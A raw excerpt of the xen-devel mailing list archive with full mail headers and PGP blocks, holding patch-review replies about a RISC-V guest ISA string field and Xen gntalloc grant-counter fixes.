	PtVc1SYr31y6ryAyd8MmoZjg2lHgDHT3+21FrSw9bfvcox/sodFOCsZ/HRyIOvjpz3Ha9h6gxwH
	AHRpYJNPb5dyUXCjKNjcNgRtmWUU3WSvBaM9Ro+NRwDjQz+YwAoc9Qs8NMf5n+tGGkMMmj8O3dn
	OiypDEnN6e4+V81tKleGGoYu4WskTc0ELc5m75S4rmQxWwJkoXKTJDiBVknjvl34Oa35Q=
X-Received: by 2002:a05:6512:230e:b0:5ae:b88f:3126 with SMTP id 2adb3069b0e04-5aec67a5c18mr110488e87.26.1782891892365;
        Wed, 01 Jul 2026 00:44:52 -0700 (PDT)
Message-ID: <f9801008-7315-417e-97ac-dfddef6c6926@gmail.com>
Date: Wed, 1 Jul 2026 09:44:51 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 08/25] xen/riscv: introduce guest riscv,isa string
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <b2678a5697112d3ac16a98b86433da22374324b2.1782487661.git.oleksii.kurochko@gmail.com>
 <9d082182-394d-40cd-9afe-35369d7bc4bc@suse.com>
 <20740b98-bdc0-4098-afda-45b09dc07ca3@gmail.com>
 <bef567d3-974b-4654-8cf3-d5a97d9dba10@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <bef567d3-974b-4654-8cf3-d5a97d9dba10@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1782891893-0F737D51-71E7065B/10/73395122804
X-purgate-type: spam
X-purgate-size: 1061



On 7/1/26 8:22 AM, Jan Beulich wrote:
>>>> @@ -94,6 +95,9 @@ struct arch_domain {
>>>>        struct p2m_domain p2m;
>>>>    
>>>>        struct paging_domain paging;
>>>> +
>>>> +    DECLARE_BITMAP(isa, RISCV_ISA_EXT_MAX);
>>>> +    char *isa_str;
>>>>    };
>>> Why is it again that both the bitmap and its string representation need
>>> storing? In the end they provide two different sources of truth, as there's
>>> no guarantee that they'll remain in sync.
>> isa_str is needed to guest device tree to tell which extensions are
>> supported.
> Sure, but does that need storing over the lifetime of the domain? 

Considering my answer to you last question here ... then there is no 
such need.

Can't
> that string be allocated, built, used, and then freed while DT is being
> built? 

Agree, it could be done in this way.

Would that string be used at all for toolstack-created domains?

... No, it won't. This string will be created by toolstack. So it could 
really be dropped from arch_domain.

Thasnk.

~ Oleksii



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 07:52:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 07:52:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349556.1607275 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wepka-000458-Vq; Wed, 01 Jul 2026 07:52:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349556.1607275; Wed, 01 Jul 2026 07:52:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wepka-000451-TH; Wed, 01 Jul 2026 07:52:52 +0000
Received: by outflank-mailman (input) for mailman id 1349556;
 Wed, 01 Jul 2026 07:52:51 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wepkZ-00044t-Kq
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 07:52:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wepkY-002QIu-Hr
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 09:52:50 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a44c747-2eae-0a2a0a5409dd-0a2a45059a16-42
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 09:52:50 +0200
Received: from [209.85.208.52] (helo=mail-ed1-f52.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a44c752-3cb2-0a2a45050019-d155d034a948-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 09:52:50 +0200
Received: by mail-ed1-f52.google.com with SMTP id
 4fb4d7f45d1cf-697e96dd8d2so2277302a12.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 00:52:50 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c1288d1efdcsm227749466b.5.2026.07.01.00.52.49
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 00:52:49 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782892370; x=1783497170; darn=lists.xenproject.org;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=mZWrvIJM0XRvfijSg2/E1oscXfW4ZZBxskay/5yhox4=;
        b=WvH00+m5KJ7DZttDMgG+CVvWaL7z9iN3aqyuvg+okA3j0REwDSBmhxEzuDfWpPD6bE
         MYbmW6WqE3Me3QWV2L7YpZebIdZLhqHyicBIfCuTS2zEBSrZPveelJcnU6kd050FBGrk
         uIxdPHB1piqj8p2aOgyhukfzNKodM6UHv6OPuqQWyqz3jvBWlPa5qc72k5KXwZDed8My
         kPTuoMjSOitLCQV8FCOD2KY44WQUV01f1rcai+3KZP9IQLggvtlwOsKHktBDAPnL5rXy
         efUKJ4btuK6+MFaj/0nxJe4MRc8ThqVyenhbZ6T9szpElTq0JovS5QvCL2NyVQ/q2YWW
         BP1g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782892370; x=1783497170;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=mZWrvIJM0XRvfijSg2/E1oscXfW4ZZBxskay/5yhox4=;
        b=DUGHBklKVvE+RTDKMu7IjoJKPFDZUzW9QMb2VSlzfKp95NVFnX/ME5LYcAOJRAbeDa
         +zM2d6+uaMzC2FHxLzj6MpNUOrm0JZvUS1b7Ft6BrmdjKY7aDONq5b71j/63UIOz02OY
         otRW2HvX2OkT7teT4M5/2NekJt4KCbje750MY13i4LXxF1hXrFoOJbVwKwkKcSy5B4Q4
         h+W1ZE+5cM00YwXVqQyuixerLH2wkCUAHqjUq9+MxFPfHFSn5QY98T79qC2PCcjNOJa/
         Cd/52p8VGd5bgRGv9siANuVmgNErALRoQZk8o+98JZZA6i0T3E45G9Qk15v+SUbRWqzF
         0cFQ==
X-Gm-Message-State: AOJu0YyR/6fJAVNM5qnIM2P7DXG+xs61kL0J4wwktPcOm1bGrEjI35zk
	+Vj9g8QnfCYrG+3LVX8bNe0gFK6rjfLDKPDzDS+f03RHYWFiCIpOtv2mvK8cMWNo0c0=
X-Gm-Gg: AfdE7ckJq78qTGV4UqcSqh0UcBh3aDNbRZ1aoqkqPMq9YpywkJMEe4MEbMsNm9R+0P6
	Qjy1P+jSPhVtr7h6ObAAxrIjHoCsiBKEed+HAkMWhuLwbVUGym3KRyOcifDfVoaeVhjrj6D47dS
	ZTbyjZA1G/vDrukoe8vGSsPEo19851//BQh9ExfQwysfuylYm0GTEA2qwU0i5OMF1AEduuJE2mQ
	aV1eMlxDddUadY1sAgUT+tyX62rZFCvBf9F71eXm6UeGfSH5TypTx9AG8t0vFVTFUvh4xsSheEb
	g+JksrYKekaBLDSKAFane2CmacaXsFCbJGp1levDRlOAvuZNAJ2bfqjnXMkM66onyAb/vDdTAD+
	oQ18QGqluxS50Uh8riYIDj7cRIOltJw/EaR3i5//3IjHvos6M7KlipJnYNuhzy/ETeSVu5vV+Ir
	Q0mpv0lOXJgedTqrJ3KSC4qCnxffO2Uq/q3pIumnppXciAUnVb+hu+2c75pYhXwlU4CMJD6hnkV
	ixknR6+3h9/4JLjI+v6KOYAeVE8IZLbIHah1z6CVAQ=
X-Received: by 2002:a17:907:c706:b0:c10:10c9:6d8c with SMTP id a640c23a62f3a-c129056e30emr213977366b.28.1782892369578;
        Wed, 01 Jul 2026 00:52:49 -0700 (PDT)
Message-ID: <5bedb3af-57ed-423b-ac84-e539cace8002@suse.com>
Date: Wed, 1 Jul 2026 09:52:48 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 1/2] xen/gntalloc: make grant counters unsigned
To: Yousef Alhouseen <alhouseenyousef@gmail.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: xen-devel@lists.xenproject.org, linux-kernel@vger.kernel.org
References: <20260624124745.10073-1-alhouseenyousef@gmail.com>
 <20260626223805.43781-1-alhouseenyousef@gmail.com>
 <20260626223805.43781-2-alhouseenyousef@gmail.com>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf7m+Ef+sMtr0
 G5lCWEWa9wa0IXx5HRPW/ScL+e4AVUbL7rurYMfwCzco+7TfjhMEOkC+va5gzi1KrErgNRHH
 kg3PhlnRY0Udyqx++UYkAsN4TQuEhNN32MvN0Np3WlBJOgKcuXpIElmMM5f1BBzJSKBkW0Jc
 Wy3h2Wy912vHKpPV/Xv7ZwVJ27v7KcuZcErtptDevAljxJtE7aJG6WiBzm+v9EswyWxwMCIO
 RoVBYuiocc51872tRGywc03xaQydB+9R7BHPzsBNBFOMcBYBCADLMfoA44MwGOB9YT1V4KCy
 vAfd7E0BTfaAurbG+Olacciz3yd09QOmejFZC6AnoykydyvTFLAWYcSCdISMr88COmmCbJzn
 sHAogjexXiif6ANUUlHpjxlHCCcELmZUzomNDnEOTxZFeWMTFF9Rf2k2F0Tl4E5kmsNGgtSa
 aMO0rNZoOEiD/7UfPP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <20260626223805.43781-2-alhouseenyousef@gmail.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------J755ZkPsuEdx67MzsZ4kRs51"
X-purgate-ID: tlsNG-c201ff/1782892370-559EA2B8-50857495/0/0
X-purgate-type: clean
X-purgate-size: 6725

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------J755ZkPsuEdx67MzsZ4kRs51
Content-Type: multipart/mixed; boundary="------------YjNmNxwb7UREts0lSX9QxItC";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Yousef Alhouseen <alhouseenyousef@gmail.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: xen-devel@lists.xenproject.org, linux-kernel@vger.kernel.org
Message-ID: <5bedb3af-57ed-423b-ac84-e539cace8002@suse.com>
Subject: Re: [PATCH v2 1/2] xen/gntalloc: make grant counters unsigned
References: <20260624124745.10073-1-alhouseenyousef@gmail.com>
 <20260626223805.43781-1-alhouseenyousef@gmail.com>
 <20260626223805.43781-2-alhouseenyousef@gmail.com>
In-Reply-To: <20260626223805.43781-2-alhouseenyousef@gmail.com>

--------------YjNmNxwb7UREts0lSX9QxItC
Content-Type: multipart/mixed; boundary="------------XL9Ki31xgEYNA12S7ROL0akl"

--------------XL9Ki31xgEYNA12S7ROL0akl
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMjcuMDYuMjYgMDA6MzgsIFlvdXNlZiBBbGhvdXNlZW4gd3JvdGU6DQo+IFRoZSBtb2R1
bGUgbGltaXQgYW5kIGN1cnJlbnQgYWxsb2NhdGlvbiBjb3VudCBjYW5ub3QgdmFsaWRseSBi
ZQ0KPiBuZWdhdGl2ZS4gR2l2ZSBib3RoIHZhcmlhYmxlcyB1bnNpZ25lZCB0eXBlcyBzbyB0
aGVpciByZXByZXNlbnRhdGlvbg0KPiBtYXRjaGVzIHRoZSB1MzIgZ3JhbnQgY291bnQgc3Vw
cGxpZWQgdGhyb3VnaCB0aGUgaW9jdGwgYW5kIG5lZ2F0aXZlDQo+IG1vZHVsZSBwYXJhbWV0
ZXIgdmFsdWVzIGFyZSByZWplY3RlZCBieSBwYXJhbWV0ZXIgcGFyc2luZy4NCj4gDQo+IFRo
aXMgYWxzbyBwcmVwYXJlcyB0aGUgbGltaXQgY2hlY2sgZm9yIG92ZXJmbG93LXNhZmUgdW5z
aWduZWQNCj4gYXJpdGhtZXRpYy4NCj4gDQo+IFNpZ25lZC1vZmYtYnk6IFlvdXNlZiBBbGhv
dXNlZW4gPGFsaG91c2VlbnlvdXNlZkBnbWFpbC5jb20+DQoNClJldmlld2VkLWJ5OiBKdWVy
Z2VuIEdyb3NzIDxqZ3Jvc3NAc3VzZS5jb20+DQoNCg0KSnVlcmdlbg0K
--------------XL9Ki31xgEYNA12S7ROL0akl
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThpwdtF/jQ6j9RwE8VP0+NXcYpGJDWlNb9/JmYqLiX2Q3Tye
vpB0CA3dbBQp0OW0fgCetToGIQrg0MbD1C/sEOv8Mr4NAfbauXjZlvTj30H2jO0u
+6WGM6nHwbh2l5O8ZiHkH32iaSTfN7Eu5RnNVUJbvoPHZ8SlM4KWm8rG+lIkGurq
qu5gu8q8ZMKdsdGC4bBxdQKDKHEFEx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RMedCot60g5dmbdrZ5DWClAr0yau47zpWj3enf1tLWaqc
suylWsviuGjKGw7KHQd3bxALOknAp4dN3QwBYCKuZ7AddY9yjynVaD5X7nF9nO5B
jR/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------XL9Ki31xgEYNA12S7ROL0akl--

--------------YjNmNxwb7UREts0lSX9QxItC--

--------------J755ZkPsuEdx67MzsZ4kRs51
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpEx1AFAwAAAAAACgkQsN6d1ii/Ey8t
dgf/dnSo53jGULeig40sjRDw5aNG6FdMeh2UOHsJNFUPJims+WFjbPE2QJGeh29dGABTl0gKN6ph
x6p4XkR2cdxOgHVpIrfJsniFXcpve4ni951+4X8z5FDHcPlYlZu+238C3vpdt9QVR1AEiSoOz2n+
0XHYiTXGI4g2YpKjuRLbbLlna1dZAm7JW7UgoazlMU4qpuq8JoHRZKSSa2FHYNC0B5DhydIRCV/2
qUm95j3xHd7Jl/IbE1dLlx8lzw3U1KoeZrrQKC4HTxI7rpj4ps+642nQLmUc+kod000lrMhfHdmN
XkM+LwgRWV5hw5UFpoSzb+/nrHGg+VjGcxGWgyux2A==
=tsDo
-----END PGP SIGNATURE-----

--------------J755ZkPsuEdx67MzsZ4kRs51--


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 07:53:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 07:53:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349563.1607284 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weplA-0004Yc-84; Wed, 01 Jul 2026 07:53:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349563.1607284; Wed, 01 Jul 2026 07:53:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weplA-0004YV-52; Wed, 01 Jul 2026 07:53:28 +0000
Received: by outflank-mailman (input) for mailman id 1349563;
 Wed, 01 Jul 2026 07:53:27 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wepl9-0004YJ-DM
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 07:53:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wepl8-002gAr-CF
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 09:53:26 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a44c772-5cb7-0a2a0a5109dd-0a2a450c9014-20
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 09:53:26 +0200
Received: from [209.85.218.47] (helo=mail-ej1-f47.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a44c775-f399-0a2a450c0019-d155da2fe813-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 09:53:26 +0200
Received: by mail-ej1-f47.google.com with SMTP id
 a640c23a62f3a-c0e124d2a21so48228866b.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 00:53:25 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c1288dbd47asm226809266b.27.2026.07.01.00.53.25
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 00:53:25 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782892405; x=1783497205; darn=lists.xenproject.org;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=ynNEEoise1PwQ5IFgWasop74gCeOXQ28S+d1Y2f3vRs=;
        b=flqrvB9eW1UkOSHrLVMSgYUXjPlHHEPx1HOTRGhYDUtm8achcNL3PHHaCcvdQ0PUcG
         /ihu+R+mGxUXWqFtSnVhzjKt35v66B9oS9rRkPjetEQ9OK0VSw45NrIMbbqZ89shCBc6
         hrhnKoqoyl3kY72CcXV01XmWbXojBIUjfMeCn8LjdQkFYHwH/onYHGQE15MdOO/ahR8b
         MaTjQ9NHLmayihbNkFwk7qKp24dhx0EyCAtAx1bd6fuVVBFvJ5wSNH+6WxcC4+UZSCNK
         UVhdH+E1hqjS760wGCXeSrLPNGcDco2ORAmqhPH6gyt4NhV5D6U5LTxqOPilYbL/F4DZ
         0ZHw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782892405; x=1783497205;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=ynNEEoise1PwQ5IFgWasop74gCeOXQ28S+d1Y2f3vRs=;
        b=lFRaLdqv0DgFDiIPK8r5OnV6224YRFDbkdfG1uVotIS7INl64TO9jTyXn8ezuzms0/
         pclzMkwxVLZl8qTI+P41Ti6tGtCflb1Ocqsod+U6oMh+VgYJj7r2KBwOGoJ/mYxPfD+M
         m1MSFItOZa+fMDw5XzPB0xgsHdnUTCEC3dPDoiGvUj9Waeb8z73jm8Agu/AtYK34FSxW
         xZnlpVMnn3TXVXKNGsfIXoWnbZIGdvkO+KzZbleTHOJprSW0Heghc/dgS9dPNEUBS15B
         B5h4tZ5Jyo/yc86433Xi0y/zWp1LOC1YTxJ7VJtGW2XWldcNzesOAxrR2UmPr3vQ5tLS
         BTdA==
X-Gm-Message-State: AOJu0Yw4GWQYp6tJlukWO9WbM/zEfXT44PC2CeNTLp9fO2J49ku3B3xq
	J7o9hOk0+KRLLgB0QegpELFetX3+//HywQChN3IGFNf50XvD3uZiLXvEXeoNEwiDswg=
X-Gm-Gg: AfdE7cmLyuvoBpBRoRer3w4TYkcwImJQi/3gKsxM9uKcva4YxZ/37O3rwyEnJHCbI+M
	qAGDvhGhuxyicnySEmqupQEGY2H0RnKqER6lsJQrnFuMZo86ZQCPnT5xAj6rWi071igJaE/5Rec
	BTP9Zne2e3kvwg/ZKwDEEuic93KBBR5GKoXg6kx9VLk+qZ2V2T+N2KI0qOqsKoMafbf+IPCj9TI
	B0PDRD0CYurDL/E+J4BfD2W/iigNqfrrMY7+b8h+qe2f6Iv5UkHDJjVSYFzik7Aczq2vEifwL/y
	C6Hh+ALxrCi58C/l4B1nWxTo1XVUsFOgKzVMDr1ja6KcWLE5j3JG1RsIOMNOC2nEOMCrEqX692F
	g70V2NZ+04zxRQdOZbP5J28JYmR3j2YgwD6TgqQH8O7x63pUpkzqOfTmxf3G4dhJub1W8rFVncw
	tGQF8wySV+3pSIBwj19X7vp07S3Qt58HyMZ9rJt/JjWBdlMdNXFx1plvc9VlCCwTq5nHUlE1t1t
	W1WnCo3kLx0OPIFju9xDg/jmFbYLacU2ZmZIcjR5ZM=
X-Received: by 2002:a17:906:ad7:b0:c0b:81d7:51be with SMTP id a640c23a62f3a-c12aa1412cfmr14752266b.43.1782892405413;
        Wed, 01 Jul 2026 00:53:25 -0700 (PDT)
Message-ID: <ea52ef38-8ad2-4b1f-af34-203f167242e5@suse.com>
Date: Wed, 1 Jul 2026 09:53:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 2/2] xen/gntalloc: validate grant count before
 allocation
To: Yousef Alhouseen <alhouseenyousef@gmail.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: xen-devel@lists.xenproject.org, linux-kernel@vger.kernel.org
References: <20260624124745.10073-1-alhouseenyousef@gmail.com>
 <20260626223805.43781-1-alhouseenyousef@gmail.com>
